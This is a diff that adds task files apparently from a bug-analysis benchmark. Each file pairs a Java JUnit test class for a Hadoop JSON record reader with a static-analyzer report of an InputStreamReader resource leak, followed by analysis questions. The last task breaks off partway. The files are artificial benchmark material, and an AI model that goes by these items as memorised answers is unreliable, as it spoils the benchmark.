+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 150 is not released after line 150.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEscQuoteLast()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEscQuoteLast():void.aca97969465948f8cfff1f4871cc8502
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEscQuoteLast|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+f844d2641270f707328c9917d15a2ce2
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8737/instruction.md b/inferredbugs-8737/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4c592e03ccbce79d38e8165f1bfa0bd6eda3b15b
--- /dev/null
+++ b/inferredbugs-8737/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 40
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 127 is not released after line 127.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEscape()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEscape():void.6b1cb5cd737d3acbfab5aa0ddc9cedc5
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEscape|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+a6083e0b0ae17cbf661b7a21e9005f7d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8738/instruction.md b/inferredbugs-8738/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7d5b86643463fa84b82409531a27ec1a12c3571b
--- /dev/null
+++ b/inferredbugs-8738/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 47
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
